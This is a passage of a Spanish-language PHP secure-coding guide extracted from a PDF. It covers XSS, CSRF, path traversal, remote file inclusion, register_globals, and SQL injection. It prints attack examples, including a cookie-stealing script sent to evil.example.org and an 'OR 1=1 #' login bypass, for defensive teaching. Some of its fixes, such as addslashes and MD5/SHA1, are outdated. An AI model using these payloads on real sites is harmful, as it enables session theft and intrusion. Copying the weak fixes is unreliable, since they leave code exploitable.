y  Cuando los datos externos no se filtran adecuadamente un atacante puedeinyectar un contenido. Esto es tan peligroso como dejar que el atacante editecódigo en el servidor.

Un usuario que ejecute este código con JavaScript activado en su navegador seráredireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la

consulta:

<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' +document.cookie</script>

S e recomienda: 

Page 19: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 19/30

 

y  Filtrar todos los datos externos. El filtrado de datos es la práctica más importanteque se puede adoptar. Al validar todos los datos externos a medida que entran ysalen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.

y  Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útileshtmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina

las etiquetas HTML y PHP de una cadena y utf8_decode ().y  Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no

se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo loscaracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos,se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee seconsideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.

y  Utilizar una convención de nomenclatura estricta. Una convención denomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y

sin filtrar.

CSRF (Cross Site Request Forgery) 

Explota la confianza que tiene un sitio web en la identidad de un usuario.Un ejemplo sería enviar los siguientes datos en la petición:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1

Host: stocks.example.orgUser-Agent: Mozilla/5.0 GeckoAccept: text/xml, image/png, image/jpeg, image/gif, */*Cookie: PHPSESSID=1234

S e recomienda: 

y  Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se estérealizando una acción que involucra una compra.

y  Utilizar $_POST en lugar de confiar en register_globals. Utilizar el métodoPOST es inútil si se confía en register_globals y se referencian variables como$symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.

y  Generar un token único para cada petición y verificarlo posteriormente.

Page 20: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 20/30

 

Directory Transversal 

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en losdatos del formulario y mediante un script se llama a estos ficheros. Proporcionando a unatacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página sealmacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php 

S e recomienda: 

y  Tener un array de páginas válidas.y  Comprobar que el archivo solicitado coincide con un formato concreto .

RFI (Remote File Inclusion) 

Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro scriptse encuentra en http://site.com/index.php. Un atacante puede hacer esta petición:http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivose ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que

 permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de unaconsulta a base de datos.

S e recomienda: 

y  No confiar en los datos que no provengan de nuestro sistema.y 

Se deben validar los datos que introduce el usuario.

Ejecución Remota de Código

Afecta a las aplicaciones que aceptan nombres de archivos por parte del usuario cuando elsitio web maneja el ingreso y la inclusión de archivos y URLssin chequeo previo.

Las causas de este problema son:

Page 21: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 21/30

 

  Validación insuficiente de las entradas del usuario antes de llamados al sistema dearchivos tales como require, include o fopen()

  Privilegios por defaultexcesivos  A partir de la versión 4.0.4 de PHP, la opción allow_url_fopen es habilitada por 

default, permitiendo escribir aplicaciones vulnerables sin realizar muchos cambios

de configuración. Apartir de PHP 4.3.4, el proyecto PHP cambio el acceso aPHP_INI_SYSTEM, el cual previene deshabilitando esta característica usandoini_set().

Configuración PHP

La configuración de PHPtiene una conexión directa con la severidad de los ataques.

  No hay una configuración de PHPaceptada por la mayoría como segura, tampoco la

configuración por defecto.

Algunas consideraciones:

  register_globals  allow_url_fopen  magic_quotes_gpc  magic_quotes_runtime  safe_modeyopen_basedir 

Ataques al sistema de archivos

Inclusión de archivo local (tal como /etc/passwd, archivos de configuración, o logs)

Manipulación de sesiones locales

UploadInjectionde archivos locales

La mayoría de los administradores del sitio corren PHPsin usuario bajo Apache, lasvulnerabilidades sobre el sistema de archivos local afectan a todos los usuarios dentro de un

hostsimple.

Seguridad en sesiones

Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios.Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

S e recomienda: 

Page 22: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 22/30

 

y  Cambiar el identificador de la sesión a menudo. Utilizando la funciónsession_regenerate_id() se reduce la posibilidad de que el identificador seainterceptado.

y  Usando versiones PHP5.2 o posteriores se puede denegar al Javascript delnavegador el acceso a la cookie activando el flaghttponly.

Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP seaalgo más segura.

y  Problemas más comunes

Aquí están algunos de los problemas más comunes de seguridad y cómo evitarlos.

Nunca, confiar en los usuarios

 Nunca debes confiar en que los usuarios te van a mandar los datos que tu esperas. Muchagente responde a esto con algo como³Oh, nadie estaría interesado en mi sitio´. Estaafirmación no podría ser másincorrecta, siempre hay un usuario malévolo que quiereexplotar un agujero de seguridad además los problemas pueden presentarse fácilmentedebido a un usuario que hace algo mal intencionalmente.

Por todo esto la regla de todo desarrollador web tiene que ser "Nunca, confiar en losusuarios´. Asumir que cada pieza de datos que tu sitio recoge de un usuario puedeconvertirse en un agujero de seguridad, siempre. Si la seguridad de tu sitio web es

importante para ti, este un buen puntopara comenzar a aprender. Sería conveniente tener ³una hoja de seguridad para PHP´ al lado de tu escritorio con los puntos más importantesen texto negrita grande.

Variables globales

En muchos lenguajes debes crear explícitamente un variable para utilizarlas. En PHP, hayuna opción, las ³register_globals´, que puedes fijar en php.ini y que permite que utilicesvariables globales.

Considera el códigosiguiente:

if ($password == ³my_password´) {

$authorized = 1;

}

if ($authorized == 1) {

Page 23: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 23/30

 

echo ³Mis cosas importantes ³;

}

A muchos de nosotros nos puede parecer que este código está funcionando perfectamente.¿Sin embargo, si un servidor tiene ³register_globals´ encendidos, entonces simplementeagregando´? authorized=1 ´ al URL dará a cualquier persona el acceso libre aexactamentelo que no quisieras que todo el mundo viera. Éste es uno de los problemas máscomunes de la seguridad de PHP.

Afortunadamente, esto tiene un par de soluciones simples y posibles. La primera, y quizásla mejor, es fijar desactivar ³register_globals´. La segunda es asegurarse de que utilizassolamente las variables que has fijado explícitamente tú mismo. En el ejemplo anterior, esosignificaría la adición ³$authorized = 0; ´ al principio de la escritura:

$authorized = 0;

if ($password == ³my_password´) {

$authorized = 1;

}

if ($authorized == 1) {

echo ³Lots of important stuff.´;

}

Mensajes de error

Cuidado con SQL 

Una de las ventajas más grandes de PHP es la facilidad con la cual puede comunicarse conlas bases de datos, lo más normal con MySQL . Mucha gente hace el uso excesivo de esto,y muchos grandes sitios, confía en las bases de datos para funcionar.

Sin embargo, con esa ventaja hay problemas suficientemente grandes en la seguridad a losque tendras que hacer frente. Afortunadamente, hay un montón de soluciones. El peligromás común de seguridad al que debes de hacer frente es cuando un usuario utiliza un fallo para poder atacar directamente al servidor de bases de datos con sentencias SQL.

Utilicemos un ejemplo común. Muchos sistemas utilizan un codigo muy parecido a este  para comprobar el usuario y la contraseña pudiendose hacer todas las combinaciones

Page 24: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 24/30

 

válidas del usuario y de su contraseña, por ejemplo para controlar el acceso a un área deadministración:

$check = mysql_query(³SELECT Username, Password, UserLevel FROM Users WHEREUsername = µ´.$_POST['username'].´µ and Password = µ´.$_POST['password'].´µ´);

¿Te parece familiar? . Y parece que no podría hacer mucho daño. Pero digamos por unmomento que introduzco el siguiente ´usuario ´ en el formulario:

µO 1=1 #

La pregunta que va a ser ejecutada sería esta:

SELECT Username, Password FROM Users WHERE Username = ´ OR 1=1 #¶ andPassword = ´

La almohadilla (#) le dice aMySQL que todo que le sigue es un comentario y que no debede hacerle caso. Ejecutará SQL hasta ese punto. Después 1 es igual a 1, SQL devolverátodos los usuarios y contraseñas de la base de datos. Y como la primera combinación delusuario y de contraseña en la mayoría de las bases de datos es la del administrador, la persona que incorporó simplemente algunos símbolos en un formulario ahora entra comoadministrador de la Web , con los mismos privilegios que tendría si supiera realmente elusuario y la contraseña.

Con una poca de creatividad, este agujero de seguridad se puede explotar aún más lejos, permitiendo que un usuario cree su propia cuenta, lea números de las tarjetas de crédito osimplemente vacié la base de datos.

Afortunadamente, este tipo de vulnerabilidad es bastante fácil de solucionar. Comprobandosi hay algúncarácter raro cuando el usuario introduce los datos, y quitándolos oneutralizando, podemos evitar que cualquier persona utilice su propio código del SQL ennuestra base de datos. La función que sigue sería la adecuada:

functionmake_safe($variable) {

$variable = addslashes(trim($variable));

return $variable;

}

Ahora debemos modificar nuestra consulta. En vez de usar variables _POST como en laconsulta de arriba, ahora utilizamos todos los datos del usuario con la función make_safe,dando por resultado el código siguiente:

$username = make_safe($_POST['username']);

Page 25: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 25/30

 

$password = make_safe($_POST['password']);

$check = mysql_query(³SELECT Username, Password, UserLevel FROM Users WHEREUsername = µ´.$username.´µ and Password = µ´.$password.´µ´);

Ahora, si un usuario incorporó los datos anteriormente citados, la consulta será la siguiente,que es totalmente inofensiva. La consulta siguiente seleccionará de una base de datos losregistros donde el usuario es igual a ³\ µO o 1=1 #´.

SELECT Username, Password, UserLevel FROM Users WHERE Username = µ\¶ OR 1=1#¶ and Password = ´

Ahora, a menos que tengas un usuario con un nombre muy inusual y una contraseña en blanco, tu malévolo atacante no podrá hacer ningún daño en tu sitio Web. Es importantecomprobar todos los datos pasados a tu base de datos. Las cabeceras de HTTP enviados por elusuario pueden ser falsificadas. Su dirección de remitente también puede ser falsificada.

 No confíes en los datos enviados por el usuario, y tú y tu sitio estaréis a salvo

Un desarrollador los necesita para detectar bugs. Un hacker puede utilizarlos para descubrir todas las clases de información sobre un sitio, desde la estructura del directorio del servidor a la información de la conexión de la base de datos.En PHP para evitar esto puedes utilizar .htaccess o php.ini, fijando ³error_reporting´ a ³0´.

Manipulación de archivos

Algunos sitios tienen URLs parecidas a esto:

index.php?page=contactus.html

El archivo ³index.php´ incluye simplemente el archivo de ³contactus.html´, y el sitio  parece funcionar. Sin embargo, el usuario puede cambiar muy fácilmente el pedacito de³contactus.html´ por cualquier cosa que le apetezca. Por ejemplo, si estás utilizando elmod_auth de Apache para proteger archivos y para guardar tu contraseña en el archivollamado ´ .htpasswd ´ (el nombre convencional), si un usuario quisiera visitar esa URL, larespuesta haría salir el nombre de usuario y contraseña:

index.php?page=.htpasswd

Cambiando la URL, en algunos sistemas, para referirse a un archivo u otro en el servidor,  podrían incluso funcionar PHP que han escrito en tu sitio. ¿Asustado? Debes estarlo.Afortunadamente, otra vez, esto es razonablemente fácil de solucionar. Primero, cercióratede haber fijado correctamente el ³open_basedir´ en tu archivo de php.ini, y fijar ³allow_url_fopen´ a ³OFF´. Eso prevendrá la mayor parte de estas clases de ataques

Page 26: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 26/30

 

  previniendo la inclusión de archivos alejados y de ficheros del sistema. Después puedescomprobar el archivo solicitado contra una lista de archivos válidos. Si limitas los archivosque se pueden alcanzar usando esta salida.

Previsibilidad

Imaginémonos por un segundo que tu sitio ha atraído la atención de una persona malévola.Esta mala persona desea entrar dentro de tu área de administración, y cambia todas tusdescripciones de los productos a ³este producto apesta´. Aventuraría que su primer pasoserá ir a http://www.tusitio.com/admin/ ± como primera opción. La colocación de tusarchivos y carpetas lugares previsibles hace la vida de los hackers un poquito más fácil.

Con esto en mente, cerciorarte de que nombres tus archivos y carpetas delicados estén enlugares no muy previsibles. Poner tu área de administración enhttp://www.tusitio.com/jsfh8sfsifuhsi8392/ pudo hacerlo más duro al menos al

mecanografiarlo, pero agrega una capa adicional de seguridad a tu sitio. Escoger algo fácilde memorizar por supuesto si necesitas una dirección que puedes recordar rápidamente, pero no escoger el ³admin´ o ³administración´ (o tu nombre de usuario o contraseña).Por lo tanto mi consejo es escoge algo inusual.

Igual se aplica a los nombres de usuario y a las contraseñas. Si tienes un área deadministración, no utilices ³admin´ como nombre de usuario. Escoge algo más complicadode averiguar, si pudiera ser ambas con letras y números debido a que muchos hackersutilizan el llamado ³ataque del diccionario´, intentando cada palabra de un diccionariocomo contraseña hasta que encuentran un login que funcione ,la adición de un par de

dígitos al final de una contraseña hace este tipo de ataque inútil. Es también sabio cambiar tu contraseña bastante regularmente (cada mes o dos) y si es posible obligar a tus usuario ahacerlo de igual manera.

Finalmente, cerciorarte de que tus mensajes de error no den pistas. Si tu área deadministración da un mensaje de error que dice el ³nombre de usuario desconocido´cuando se introduce mal un nombre de usuario y ³contraseña incorrecta´ cuando seintroduce la contraseña incorrecta, un usuario malévolo sabrá cuándo ha introducido unnombre de usuario o una contraseña incorrecta. Usar ³un mensaje de error genérico al fallode conexión´ para ambos registros para que un usuario malévolo no tenga ni idea si es el

nombre o la contraseña lo que ha introducido mal.

5 Seguridades para aplicaciones en php

Page 27: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 27/30

 

Al desarrollar una aplicación web en php tenemos que tener en cuentaalgunas seguridades, a continuación enlisto 5 de ellas:

1.  Prevenir el ³SQL injection´: El sqlinjection es el nombre quese le da una forma de infiltrarse en las sentencias SQL que utilizamos

en los formularios de login. Le damos la libertad a los visitantes queimpongan partes de la sentencia sin que nos demos cuenta. Parasolucionar este problema deberíamos utilizar la sentenciamysql_real_escape_string

2.  Llevar un registro intento de ingresos: Es necesario llevar una tabla con losintento de login y a la vez poner un límite de intentos, ya que pueden haber  programas que intentan hacer login probando varias clave(³bruteforce´). Limitandoel número de intentos por cierto tiempo podemos prevenir estos ataques.

3.  Encriptar los datos: Es muy recomendable encriptar los datos. En php podemosusar el MD5 o el SHA1

4.  CAPTCHA: el uso de captcha es siempre importante en el momento que tengamosque enviar los datos de un formulario. Sin el uso de captcha, la base de datos se podría llenar de datos basura que a la larga pueden arruinar la finalidad de la páginaweb.

5.  Validación adecuada: La validación adecuada de los formularios es siempreimportante ya que si no se validan los campos se podría filtrar información nodeseada. También podría ser utilizado como un medio para hacer spam. Así quetenemos que tener cuidado con la validación.

Programas desarrollados para seguridades en PHP

Existen en la actualidad cientos de desarrolladores que aportan de una u otra manera paramejorar aspectos de PHP en este caso la seguridad los siguientes ejemplos son líneas decódigo que comparten algunas personas para este tema:

Scripts PHP - Códigos PHP - Seguridad

Nombre: MultiuserPasswordProtection

Descripción: Script que protege una área específica de tu web mediante usuario y contraseña.

Soporta varios usuarios y log de accesos.

Autor: DL

Idioma: Inglés

Page 28: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 28/30

 

-------------------------------------------------------------------------------------------------------- 

Nombre: phpGuardIt

Descripción: phpGuardIt es una pequeña herramienta que puedes usar para proteger tu web.

Viene con un completo hostnamebanning, scaneador de puertos, y sistema de usuarios. Además

trae un panel de administración. Completo apoyo con su CSS propio y metodo de guardado con

MySQL seguro.

Autor: Jonathan Anders

Idioma: Inglés

-------------------------------------------------------------------------------------------------------- 

Nombre: HumanCheck

Descripción: Este script PHP enseña un código secreto digital sobre una imagen. Si el visitante es

humano, puede reconocer el texto y escribirlo (como medida de segurdad). Si no puede, se

supone que es un script malicioso y se le deniega el acceso.

Autor: Horobey

Idioma: Inglés

-------------------------------------------------------------------------------------------------------- 

Nombre: PHP Pass

Descripción: Script ideal para proteger ciertas páginas con contraseña.

Autor: Rover

Idioma: Inglés

-------------------------------------------------------------------------------------------------------- 

Nombre: Ice Admin

Descripción: Script que te permite proteger tu propia área de administración en cuestión de pocos

minutos.

Autor: Ice-Host.net

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: IP Recorder

Descripción: Registra todos los accesos a tu página y guarda la ip y la fecha de cada visita. Tiene un

panel de control donde consultar los logs y da la posibilidad de banearIP's.

Autor: Dynamic-IP

Idioma: Inglés

-------------------------------------------------------------------------------------------------------- 

Nombre: BeginnerPassword Script

Descripción: Sencillo script para proteger tus scripts en PHP. Simplemente inserta el código arriba

del script que quieres proteger.

Page 29: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 29/30

 

Autor: Saud

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: htaccesser

Descripción: Generador de archivos de configuración de apache (.htaccess).

Autor: Chris Todd

Idioma: Inglés

-------------------------------------------------------------------------------------------------------- 

Nombre: Link Mask

Descripción: Con este script protegerás tus enlaces de los "Leechers". Evitarás que se enlace el

código de tu página desde otras webs.

Autor: ShadiAli

Idioma: Inglés

-------------------------------------------------------------------------------------------------------- 

Nombre: AtomicPassword

Descripción: Generador de contraseñas que puede utilizarse para múltiples propósitos.

Autor: AtomicOxide

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: phpGAC

Descripción: Un ACL es una herramienta, integrada dentro de otra, que permite controlar el

acceso de los distintos usuarios a los objetos de los que se compone la aplicación: archivos,

carpetas, funcionalidades, información...

Autor: phpgacl.sourceforge.net

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: DsLogin en PHP

Descripción: Script simple que permite protegerl el acceso a una paginaoweb o zona mediante

mediantepassword.

Autor: Dacio

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: Tuneylogin manager en PHP

Descripción: TuneyLogin Manager es un script para la gestión de su propio portal con un sitema de

login propio. El script gestión de modo automatico y con un panel de adminstración que utiliza

mySQL.

Page 30: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 30/30

 

Autor: Tune Your Web

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: SME Protect

Descripción: Pequeño script que nos ayuda a protejernos de Spammers y otros tipos de abusos

Autor: Script Me

Idioma: Español

-------------------------------------------------------------------------------------------------------- 

Nombre: Ua Block

Descripción: Muy útil para evitar correos no deseados, programas que copian páginas web, etc.

Cuando un agente intenta acceder a una página protegida, le devolverá un mensaje de error

personalizado.

Autor:

Todos los scripts mencionados anteriormente están disponibles en:

http://www.webtaller.com/tallerscripts/scripts/17/ 

RECOMENDACIONES

En definitiva, mi consejo es que debes ser totalmente paranoico

Si asumes que tu sitio nunca será atacado, o que nunca tendrá que hacer frente a problemasde este tipo después cuando estos lleguen estarás realmente en apuros. Si, por otra parte,asumes que cada visitante a tu sitio haría lo que fuera por romper tu sistema y estas permanentemente en guerra, te ayudarás a mantener tu sitio seguro, y estarás preparado encaso de que vayan mal las cosas

LINK COGRAFÍA

http://www.webtaller.com/tallerscripts/scripts/17/ 

http://sedici.unlp.edu.ar/ARG-UNLP-TDG-0000000520/10800.pdf  

http://php.astalaweb.net/Seguridad/1_Seguridad.asp 

http://groups.google.com/group/php---programacion/browse_thread/thread/b553fe55b52177ce 

http://www.dirphp.com/